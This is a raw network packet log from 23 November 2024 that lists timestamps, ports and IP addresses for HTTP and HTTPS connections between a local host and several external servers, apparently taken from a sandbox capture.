Nov 23, 2024 09:16:54.051353931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.051404953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.051462889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.051716089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.052478075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.052517891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.052524090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.052556038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.053563118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.053615093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.053683043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.053716898 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.054660082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.054717064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.054779053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.054821014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.055804014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.055859089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.055876017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.055912018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.056807041 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.056855917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.064071894 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.064102888 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.064126015 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.064135075 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.064147949 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.064161062 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.064270973 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.069715023 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.069722891 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.069763899 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.069794893 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.069809914 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.069817066 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.069844961 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.069928885 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.085171938 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.085299015 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.091388941 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.091422081 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.091434002 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.091445923 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.091464996 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.091478109 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.091526985 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.098166943 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.098200083 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.098264933 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.098283052 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.098299980 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.098331928 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.113993883 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.114065886 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.114104033 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.114110947 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.114124060 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.114125013 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.114132881 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.114183903 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.114188910 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.146231890 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.146250010 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.146274090 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.146311045 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.146326065 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.146351099 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.146384954 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.146410942 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.157716990 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.160936117 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.161015034 CET	443	49860	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.161132097 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.161132097 CET	49860	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.175041914 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.175065041 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.175134897 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.175158978 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.175215960 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.179141998 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.179157972 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.179177046 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.179184914 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.179204941 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.179214954 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.179292917 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.179292917 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.179307938 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.193639040 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.193665028 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.193741083 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.193767071 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.193794966 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.193960905 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.200045109 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.200130939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.200196981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.200371981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.200512886 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.200521946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.200552940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.201504946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.201560974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.201591969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.201781988 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.202311039 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.202327013 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.202353001 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.202368975 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.202408075 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.202415943 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.202436924 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.202634096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.202652931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.202682018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.202711105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.203675985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.203741074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.203768969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.203807116 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.204782009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.204842091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.204929113 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.205099106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.205902100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.205920935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.205966949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.205982924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.206994057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.207048893 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.207101107 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.207149029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.208087921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.208142042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.208168030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.208209038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.209206104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.209260941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.209340096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.209474087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.210321903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.210378885 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.210437059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.210480928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.211426973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.211440086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.211488962 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.212508917 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.212587118 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.212615013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.212656975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.213624954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.213687897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.213720083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.213898897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.214745045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.214801073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.214853048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.214895964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.215864897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.215941906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.215991974 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.216037035 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.216963053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.217011929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.217077971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.217119932 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.218044043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.218096972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.218153954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.218199015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.219132900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.219182014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.219310999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.219366074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.220230103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.220355034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.220410109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.221458912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.221507072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.221529007 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.221570015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.222069979 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.222079039 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.222095013 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.222100973 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.222168922 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.222168922 CET	49863	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.222177029 CET	443	49863	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.222446918 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.222501040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.222593069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.222652912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.223572969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.223640919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.223671913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.223715067 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.224654913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.224710941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.224752903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.224811077 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.225754023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.225795031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.225805044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.225838900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.226865053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.226918936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.226929903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.226965904 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.227963924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.228017092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.228024006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.228055954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.229060888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.229099989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.229135990 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.229159117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.230171919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.230222940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.230282068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.230326891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.231297016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.231425047 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.231457949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.231468916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.232373953 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.232428074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.232485056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.232547045 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.233520985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.233563900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.233628035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.233726025 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.234574080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.234648943 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.234678030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.234718084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.235687971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.235745907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.235781908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.235821009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.236824989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.236876011 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.236900091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.236944914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.237903118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.237956047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.238007069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.238230944 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.238980055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.239001989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.239037991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.239058018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.239880085 CET	443	49870	152.195.19.97	192.168.2.6
Nov 23, 2024 09:16:54.240092993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.240156889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.240187883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.240230083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.241214991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.241314888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.241348982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.241391897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.242300987 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.242356062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.242393970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.242443085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.243396997 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.243511915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.243561029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.244532108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.244543076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.244549036 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.244580984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.244585037 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.244632006 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.244652033 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.244667053 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.244733095 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.245618105 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.245671034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.245687962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.245733976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.246407986 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.246423006 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.246444941 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.246455908 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.246488094 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.246505976 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.246526003 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.246618986 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.246721029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.246822119 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.246869087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.247850895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.247917891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.247941971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.247986078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.248970985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.248985052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.249033928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.250025988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.250087023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.250123978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.250169992 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.251144886 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.251266003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.251331091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.251352072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.252130032 CET	443	49866	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.252264023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.252296925 CET	443	49866	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.252306938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.252372980 CET	49866	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.252399921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.252438068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.253019094 CET	49866	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.253055096 CET	443	49866	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.253082037 CET	49866	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:54.253087997 CET	443	49866	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:54.253356934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.253418922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.253446102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.253488064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.254004955 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.254015923 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.254153013 CET	49861	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:54.254160881 CET	443	49861	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:54.254441023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.254497051 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.254545927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.254586935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.255558968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.255639076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.255656004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.255697966 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.256700993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.256742954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:54.256767035 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.256784916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:54.256875992 CET	49880	443	192.168.2.6	13.107.246.63
